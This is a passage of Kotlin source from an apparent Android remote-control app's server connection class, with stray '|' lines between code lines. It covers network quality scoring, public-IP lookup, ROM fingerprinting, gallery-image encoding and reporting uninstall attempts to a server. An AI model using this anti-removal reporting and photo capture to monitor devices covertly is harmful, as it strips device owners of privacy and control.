android.net.ConnectivityManager.TYPE_WIFI -> "WIFI"
|
||
android.net.ConnectivityManager.TYPE_MOBILE -> "CELLULAR"
|
||
android.net.ConnectivityManager.TYPE_ETHERNET -> "ETHERNET"
|
||
else -> "UNKNOWN"
|
||
}
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "获取网络类型失败", e)
|
||
"UNKNOWN"
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 检查是否应该使用保守的重连策略（基于网络环境和错误历史）
|
||
*/
|
||
private fun shouldUseConservativeReconnect(): Boolean {
|
||
val currentTime = System.currentTimeMillis()
|
||
val networkType = getCurrentNetworkType()
|
||
|
||
// 多因素判断是否使用保守策略
|
||
val factorsForConservative = mutableListOf<String>()
|
||
|
||
// 1. Transport Error频率判断
|
||
if (transportErrorCount >= 2 && (currentTime - lastTransportErrorTime) < 600000) {
|
||
factorsForConservative.add("频繁transport_error(${transportErrorCount}次)")
|
||
}
|
||
|
||
// 2. 网络类型判断 - CELLULAR网络更容易不稳定
|
||
if (networkType == "CELLULAR") {
|
||
factorsForConservative.add("移动网络")
|
||
}
|
||
|
||
// 3. 连接持续时间判断 - 如果经常短时间断开，说明网络不稳定
|
||
val connectionDuration = currentTime - lastConnectTime
|
||
if (connectionDuration < 120000 && lastConnectTime > 0) { // 连接时间少于2分钟
|
||
factorsForConservative.add("短连接时间(${connectionDuration/1000}秒)")
|
||
}
|
||
|
||
// 4. Android版本判断 - Android 15可能需要特殊处理
|
||
if (Build.VERSION.SDK_INT >= 35) {
|
||
factorsForConservative.add("Android15系统")
|
||
}
|
||
|
||
// 5. 网络质量分数判断 - 分数低于60时使用保守策略
|
||
if (networkQualityScore < 60) {
|
||
factorsForConservative.add("网络质量较差(${networkQualityScore}分)")
|
||
}
|
||
|
||
val useConservative = factorsForConservative.isNotEmpty()
|
||
|
||
if (useConservative) {
|
||
Log.w(TAG, "🔧 启用保守重连策略，触发因素: ${factorsForConservative.joinToString(", ")}")
|
||
} else {
|
||
Log.i(TAG, "🚀 使用标准重连策略，网络环境良好")
|
||
}
|
||
|
||
return useConservative
|
||
}
|
||
|
||
/**
|
||
* ✅ 记录连接持续时间，用于网络质量评估
|
||
*/
|
||
private fun recordConnectionDuration(duration: Long) {
|
||
recentConnectionTimes.add(duration)
|
||
// 只保留最近10次连接记录
|
||
if (recentConnectionTimes.size > 10) {
|
||
recentConnectionTimes.removeAt(0)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 更新网络质量分数（基于多因素综合评估）
|
||
*/
|
||
private fun updateNetworkQualityScore(isSuccess: Boolean, reason: String = "", duration: Long = 0) {
|
||
val previousScore = networkQualityScore
|
||
|
||
if (isSuccess) {
|
||
// 连接成功，适度提升分数
|
||
networkQualityScore = minOf(100, networkQualityScore + 5)
|
||
} else {
|
||
// 连接失败或断开，根据原因和时长降低分数
|
||
val penalty = when {
|
||
reason == "transport_error" -> 15 // transport error惩罚较重
|
||
duration < 30000 -> 12 // 连接时间少于30秒，网络很不稳定
|
||
duration < 120000 -> 8 // 连接时间少于2分钟，网络不稳定
|
||
duration < 300000 -> 5 // 连接时间少于5分钟，轻微不稳定
|
||
else -> 2 // 长时间连接后断开，轻微惩罚
|
||
}
|
||
networkQualityScore = maxOf(0, networkQualityScore - penalty)
|
||
}
|
||
|
||
// 根据成功率进行额外调整
|
||
val totalConnections = connectionSuccessCount + connectionFailureCount
|
||
if (totalConnections >= 5) {
|
||
val successRate = connectionSuccessCount.toFloat() / totalConnections
|
||
when {
|
||
successRate >= 0.9 -> networkQualityScore = minOf(100, networkQualityScore + 3)
|
||
successRate <= 0.5 -> networkQualityScore = maxOf(0, networkQualityScore - 5)
|
||
}
|
||
}
|
||
|
||
// 根据平均连接时长进行调整
|
||
if (recentConnectionTimes.isNotEmpty()) {
|
||
val avgDuration = recentConnectionTimes.average()
|
||
when {
|
||
avgDuration >= 300000 -> networkQualityScore = minOf(100, networkQualityScore + 2) // 平均5分钟以上
|
||
avgDuration <= 60000 -> networkQualityScore = maxOf(0, networkQualityScore - 3) // 平均1分钟以下
|
||
}
|
||
}
|
||
|
||
if (networkQualityScore != previousScore) {
|
||
Log.i(TAG, "🌐 网络质量评分更新: $previousScore -> $networkQualityScore (${getNetworkQualityDescription()})")
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 获取网络质量描述
|
||
*/
|
||
private fun getNetworkQualityDescription(): String {
|
||
return when {
|
||
networkQualityScore >= 80 -> "优秀"
|
||
networkQualityScore >= 60 -> "良好"
|
||
networkQualityScore >= 40 -> "一般"
|
||
networkQualityScore >= 20 -> "较差"
|
||
else -> "很差"
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 获取当前网络质量分数（供外部查询）
|
||
*/
|
||
fun getNetworkQualityScore(): Int = networkQualityScore
|
||
|
||
/**
|
||
* 🆕 获取设备公网IP地址
|
||
*/
|
||
private suspend fun getPublicIP(): String? {
|
||
return withContext(Dispatchers.IO) {
|
||
try {
|
||
// 检查缓存
|
||
val currentTime = System.currentTimeMillis()
|
||
if (cachedPublicIP != null && (currentTime - lastIPCheckTime) < IP_CACHE_DURATION) {
|
||
Log.d(TAG, "🌐 使用缓存的公网IP: $cachedPublicIP")
|
||
return@withContext cachedPublicIP
|
||
}
|
||
|
||
// 尝试多个公网IP检测服务，增加成功率
|
||
val ipServices = listOf(
|
||
"https://ipinfo.io/ip",
|
||
"https://api.ipify.org",
|
||
|
||
"https://icanhazip.com",
|
||
"https://checkip.amazonaws.com"
|
||
)
|
||
|
||
for (service in ipServices) {
|
||
try {
|
||
val url = java.net.URL(service)
|
||
val connection = url.openConnection() as java.net.HttpURLConnection
|
||
connection.requestMethod = "GET"
|
||
connection.connectTimeout = 5000 // 5秒超时
|
||
connection.readTimeout = 5000
|
||
connection.setRequestProperty("User-Agent", "RemoteControl-Android")
|
||
|
||
if (connection.responseCode == 200) {
|
||
val ip = connection.inputStream.bufferedReader().use { it.readText().trim() }
|
||
|
||
// 验证IP格式
|
||
if (isValidIP(ip)) {
|
||
cachedPublicIP = ip
|
||
lastIPCheckTime = currentTime
|
||
Log.i(TAG, "🌐 获取公网IP成功: $ip (服务: $service)")
|
||
return@withContext ip
|
||
}
|
||
}
|
||
connection.disconnect()
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "⚠️ IP检测服务失败: $service", e)
|
||
continue
|
||
}
|
||
}
|
||
|
||
Log.w(TAG, "⚠️ 所有公网IP检测服务都失败")
|
||
return@withContext null
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 获取公网IP异常", e)
|
||
return@withContext null
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 验证IP地址格式
|
||
*/
|
||
private fun isValidIP(ip: String): Boolean {
|
||
return try {
|
||
val parts = ip.split(".")
|
||
if (parts.size != 4) return false
|
||
parts.all { part ->
|
||
val num = part.toIntOrNull()
|
||
num != null && num >= 0 && num <= 255
|
||
}
|
||
} catch (e: Exception) {
|
||
false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🛡️ 发送卸载尝试检测事件到服务器
|
||
*/
|
||
fun sendUninstallAttemptDetected(type: String, message: String = "") {
|
||
try {
|
||
if (isConnected && socket?.connected() == true) {
|
||
val eventData = JSONObject().apply {
|
||
put("deviceId", getDeviceId())
|
||
put("type", type)
|
||
put("message", message.ifEmpty { "检测到卸载尝试: $type" })
|
||
put("timestamp", System.currentTimeMillis())
|
||
}
|
||
|
||
socket?.emit("uninstall_attempt_detected", eventData)
|
||
Log.w(TAG, "🛡️ 已发送卸载尝试检测事件: type=$type, message=$message")
|
||
} else {
|
||
Log.w(TAG, "⚠️ Socket未连接，无法发送卸载尝试检测事件")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 发送卸载尝试检测事件失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 获取系统版本名称（如Android 11、Android 12等）
|
||
*/
|
||
private fun getSystemVersionName(): String {
|
||
return try {
|
||
val apiLevel = android.os.Build.VERSION.SDK_INT
|
||
val release = android.os.Build.VERSION.RELEASE
|
||
|
||
// 根据API级别映射到Android版本名称
|
||
val versionName = when (apiLevel) {
|
||
35 -> "Android 15"
|
||
34 -> "Android 14"
|
||
33 -> "Android 13"
|
||
32, 31 -> "Android 12"
|
||
30 -> "Android 11"
|
||
29 -> "Android 10"
|
||
28 -> "Android 9"
|
||
27, 26 -> "Android 8"
|
||
25, 24, 23 -> "Android 7"
|
||
22, 21 -> "Android 5"
|
||
19 -> "Android 4.4"
|
||
else -> "Android $release"
|
||
}
|
||
|
||
Log.d(TAG, "📱 系统版本名称: $versionName (API $apiLevel)")
|
||
versionName
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 获取系统版本名称失败", e)
|
||
"Android ${android.os.Build.VERSION.RELEASE}"
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 获取ROM类型（如MIUI、ColorOS、FunTouch等）
|
||
*/
|
||
private fun getROMType(): String {
|
||
return try {
|
||
val brand = android.os.Build.BRAND.lowercase()
|
||
val manufacturer = android.os.Build.MANUFACTURER.lowercase()
|
||
|
||
val romType = when {
|
||
// 小米系列
|
||
brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco") -> {
|
||
when {
|
||
hasSystemProperty("ro.mi.os.version.incremental") -> "澎湃OS"
|
||
hasSystemProperty("ro.miui.ui.version.name") -> "MIUI"
|
||
else -> "原生Android"
|
||
}
|
||
}
|
||
// 华为系列
|
||
brand.contains("huawei") || brand.contains("honor") -> {
|
||
when {
|
||
hasSystemProperty("ro.build.version.emui") -> "EMUI"
|
||
hasSystemProperty("ro.magic.api.version") -> "Magic UI"
|
||
else -> "原生Android"
|
||
}
|
||
}
|
||
// OPPO系列
|
||
brand.contains("oppo") || brand.contains("oneplus") -> {
|
||
when {
|
||
hasSystemProperty("ro.build.version.opporom") -> "ColorOS"
|
||
hasSystemProperty("ro.oxygen.version") -> "OxygenOS"
|
||
else -> "原生Android"
|
||
}
|
||
}
|
||
// vivo系列
|
||
brand.contains("vivo") || brand.contains("iqoo") -> {
|
||
if (hasSystemProperty("ro.vivo.os.version")) "OriginOS" else "Funtouch OS"
|
||
}
|
||
// 三星系列
|
||
brand.contains("samsung") -> "One UI"
|
||
// 魅族系列
|
||
brand.contains("meizu") -> "Flyme"
|
||
// 努比亚系列
|
||
brand.contains("nubia") -> "nubia UI"
|
||
// 联想系列
|
||
brand.contains("lenovo") -> "ZUI"
|
||
// 中兴系列
|
||
brand.contains("zte") -> "MiFavor"
|
||
// Google系列
|
||
brand.contains("google") || brand.contains("pixel") -> "原生Android"
|
||
else -> {
|
||
// 尝试通过系统属性检测
|
||
when {
|
||
hasSystemProperty("ro.miui.ui.version.name") -> "MIUI"
|
||
hasSystemProperty("ro.build.version.emui") -> "EMUI"
|
||
hasSystemProperty("ro.magic.api.version") -> "Magic UI"
|
||
hasSystemProperty("ro.build.version.opporom") -> "ColorOS"
|
||
hasSystemProperty("ro.oxygen.version") -> "OxygenOS"
|
||
hasSystemProperty("ro.vivo.os.version") -> "OriginOS"
|
||
hasSystemProperty("ro.build.version.oneui") -> "One UI"
|
||
else -> "${manufacturer.replaceFirstChar { it.uppercase() }} ROM"
|
||
}
|
||
}
|
||
}
|
||
|
||
Log.d(TAG, "📱 ROM类型: $romType (Brand: $brand, Manufacturer: $manufacturer)")
|
||
romType
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 获取ROM类型失败", e)
|
||
"未知ROM"
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 获取ROM版本（如MIUI 12.5、ColorOS 11.1等）
|
||
*/
|
||
private fun getROMVersion(): String {
|
||
return try {
|
||
val brand = android.os.Build.BRAND.lowercase()
|
||
|
||
val romVersion = when {
|
||
// 小米MIUI/澎湃OS版本
|
||
brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco") -> {
|
||
// 优先检查澎湃OS版本
|
||
getSystemProperty("ro.mi.os.version.name") ?:
|
||
getSystemProperty("ro.mi.os.version.code") ?:
|
||
// 然后检查MIUI版本
|
||
getSystemProperty("ro.miui.ui.version.name") ?:
|
||
getSystemProperty("ro.miui.ui.version.code") ?: "未知版本"
|
||
}
|
||
// 华为EMUI/Magic UI版本
|
||
brand.contains("huawei") || brand.contains("honor") -> {
|
||
getSystemProperty("ro.build.version.emui") ?:
|
||
getSystemProperty("ro.magic.api.version") ?:
|
||
getSystemProperty("ro.build.hw_emui_api_level") ?: "未知版本"
|
||
}
|
||
// OPPO ColorOS版本
|
||
brand.contains("oppo") -> {
|
||
getSystemProperty("ro.build.version.opporom") ?:
|
||
getSystemProperty("ro.build.version.ota") ?: "未知版本"
|
||
}
|
||
// OnePlus OxygenOS版本
|
||
brand.contains("oneplus") -> {
|
||
getSystemProperty("ro.oxygen.version") ?:
|
||
getSystemProperty("ro.rom.version") ?: "未知版本"
|
||
}
|
||
// vivo FunTouch/OriginOS版本
|
||
brand.contains("vivo") || brand.contains("iqoo") -> {
|
||
getSystemProperty("ro.vivo.os.version") ?:
|
||
getSystemProperty("ro.vivo.product.version") ?: "未知版本"
|
||
}
|
||
// 三星One UI版本
|
||
brand.contains("samsung") -> {
|
||
getSystemProperty("ro.build.version.oneui") ?:
|
||
getSystemProperty("ro.build.version.sem") ?: "未知版本"
|
||
}
|
||
// 魅族Flyme版本
|
||
brand.contains("meizu") -> {
|
||
getSystemProperty("ro.build.flyme.version") ?: "未知版本"
|
||
}
|
||
else -> {
|
||
// 尝试获取通用版本信息
|
||
getSystemProperty("ro.build.version.incremental") ?:
|
||
getSystemProperty("ro.build.id") ?: "未知版本"
|
||
}
|
||
}
|
||
|
||
Log.d(TAG, "📱 ROM版本: $romVersion (Brand: $brand)")
|
||
romVersion
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 获取ROM版本失败", e)
|
||
"未知版本"
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 检查系统属性是否存在
|
||
*/
|
||
private fun hasSystemProperty(key: String): Boolean {
|
||
return try {
|
||
val property = getSystemProperty(key)
|
||
!property.isNullOrBlank()
|
||
} catch (e: Exception) {
|
||
false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 获取系统属性值
|
||
*/
|
||
private fun getSystemProperty(key: String): String? {
|
||
return try {
|
||
val clazz = Class.forName("android.os.SystemProperties")
|
||
val method = clazz.getMethod("get", String::class.java)
|
||
val result = method.invoke(null, key) as? String
|
||
result?.takeIf { it.isNotBlank() }
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "⚠️ 获取系统属性失败: $key", e)
|
||
null
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 获取OS构建版本号（如1.0.19.0.UMCCNXM）
|
||
*/
|
||
private fun getOSBuildVersion(): String {
|
||
return try {
|
||
val brand = android.os.Build.BRAND.lowercase()
|
||
|
||
// 🔧 针对小米设备的特殊处理
|
||
if (brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco")) {
|
||
// 检查是否为澎湃OS
|
||
val hyperosProp = getSystemProperty("ro.mi.os.version.incremental")
|
||
if (!hyperosProp.isNullOrBlank()) {
|
||
Log.d(TAG, "📱 检测到澎湃OS，版本: $hyperosProp")
|
||
return hyperosProp
|
||
}
|
||
|
||
// MIUI设备特定属性
|
||
val miuiIncrementalProps = listOf(
|
||
"ro.build.version.incremental",
|
||
"ro.product.mod_device",
|
||
"ro.build.display.id"
|
||
)
|
||
|
||
for (property in miuiIncrementalProps) {
|
||
val version = getSystemProperty(property)
|
||
if (!version.isNullOrBlank() && version.length > 3) {
|
||
// 🔧 修复澎湃OS版本号格式问题：移除可能的前缀
|
||
val cleanVersion = when {
|
||
version.startsWith("V") && version.contains(".") -> {
|
||
// 如果是V816.0.19.0.UMCCNXM格式，提取.后面的部分
|
||
val dotIndex = version.indexOf('.')
|
||
if (dotIndex > 1) {
|
||
version.substring(dotIndex + 1)
|
||
} else version
|
||
}
|
||
else -> version
|
||
}
|
||
Log.d(TAG, "📱 小米设备OS构建版本: $cleanVersion (原始: $version, 来源: $property)")
|
||
return cleanVersion
|
||
}
|
||
}
|
||
}
|
||
|
||
// 其他品牌设备的通用属性获取
|
||
val buildProperties = listOf(
|
||
"ro.build.version.incremental", // 增量版本号
|
||
"ro.build.display.id", // 完整构建显示ID
|
||
"ro.build.id", // 构建ID
|
||
"ro.modversion", // 模组版本
|
||
"ro.build.version.security_patch", // 安全补丁版本
|
||
"ro.build.description", // 构建描述
|
||
"ro.product.build.version.incremental" // 产品构建增量版本
|
||
)
|
||
|
||
// 按优先级尝试获取版本信息
|
||
for (property in buildProperties) {
|
||
val version = getSystemProperty(property)
|
||
if (!version.isNullOrBlank() && version.length > 3) {
|
||
Log.d(TAG, "📱 获取到OS构建版本: $version (来源: $property)")
|
||
return version
|
||
}
|
||
}
|
||
|
||
// 如果都获取不到，使用Build类的相关信息
|
||
val fallbackVersion = when {
|
||
android.os.Build.DISPLAY.isNotBlank() -> android.os.Build.DISPLAY
|
||
android.os.Build.ID.isNotBlank() -> android.os.Build.ID
|
||
else -> android.os.Build.VERSION.INCREMENTAL
|
||
}
|
||
|
||
Log.d(TAG, "📱 使用fallback OS构建版本: $fallbackVersion")
|
||
fallbackVersion.ifBlank { "未知版本" }
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 获取OS构建版本失败", e)
|
||
android.os.Build.VERSION.INCREMENTAL.ifBlank { "未知版本" }
|
||
}
|
||
}
|
||
|
||
// =============== 图片加载与压缩工具 ===============
|
||
private fun loadImageAsJpegBase64(contentUri: String, maxWidth: Int, maxHeight: Int, quality: Int): String? {
|
||
return try {
|
||
val uri = android.net.Uri.parse(contentUri)
|
||
val resolver = service.contentResolver
|
||
|
||
// 先读取尺寸
|
||
val boundsOptions = android.graphics.BitmapFactory.Options().apply { inJustDecodeBounds = true }
|
||
resolver.openInputStream(uri)?.use { input ->
|
||
android.graphics.BitmapFactory.decodeStream(input, null, boundsOptions)
|
||
}
|
||
val (srcW, srcH) = boundsOptions.outWidth to boundsOptions.outHeight
|
||
if (srcW <= 0 || srcH <= 0) {
|
||
Log.w(TAG, "🖼️ 无法解析图片尺寸: $contentUri")
|
||
return null
|
||
}
|
||
|
||
// 计算采样率
|
||
val inSample = calculateInSampleSize(srcW, srcH, maxWidth, maxHeight)
|
||
val decodeOptions = android.graphics.BitmapFactory.Options().apply {
|
||
inSampleSize = inSample
|
||
inPreferredConfig = android.graphics.Bitmap.Config.RGB_565
|
||
}
|
||
|
||
val bitmap = resolver.openInputStream(uri)?.use { input ->
|
||
android.graphics.BitmapFactory.decodeStream(input, null, decodeOptions)
|
||
} ?: return null
|
||
|
||
val output = java.io.ByteArrayOutputStream()
|
||
bitmap.compress(android.graphics.Bitmap.CompressFormat.JPEG, quality.coerceIn(30, 95), output)
|
||
bitmap.recycle()
|
||
|
||
val bytes = output.toByteArray()
|
||
if (bytes.size > maxGalleryImageSize) {
|
||
Log.w(TAG, "⚠️ 压缩后图片仍过大(${bytes.size}B)，尝试再次降低质量")
|
||
val retryOut = java.io.ByteArrayOutputStream()
|
||
val retryBitmap = resolver.openInputStream(uri)?.use { input ->
|
||
android.graphics.BitmapFactory.decodeStream(input, null, decodeOptions)
|
||
} ?: return null
|
||
retryBitmap.compress(android.graphics.Bitmap.CompressFormat.JPEG, 60, retryOut)
|
||
retryBitmap.recycle()
|
||
val retryBytes = retryOut.toByteArray()
|
||
if (retryBytes.size > maxGalleryImageSize) {
|
||
Log.w(TAG, "⚠️ 二次压缩后仍过大(${retryBytes.size}B)，放弃发送: $contentUri")
|
||
return null
|
||
}
|
||
return android.util.Base64.encodeToString(retryBytes, android.util.Base64.NO_WRAP)
|
||
}
|
||
|
||
android.util.Base64.encodeToString(bytes, android.util.Base64.NO_WRAP)
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 加载/压缩图片失败: $contentUri", e)
|
||
null
|
||
}
|
||
}
|
||
|
||
private fun calculateInSampleSize(srcW: Int, srcH: Int, reqW: Int, reqH: Int): Int {
|
||
var inSampleSize = 1
|
||
var height = srcH
|
||
var width = srcW
|
||
if (height > reqH || width > reqW) {
|
||
var halfHeight = height / 2
|
||
var halfWidth = width / 2
|
||
while ((halfHeight / inSampleSize) >= reqH && (halfWidth / inSampleSize) >= reqW) {
|
||
inSampleSize *= 2
|
||
}
|
||
}
|
||
return inSampleSize.coerceAtLeast(1)
|
||
}
|
||
} |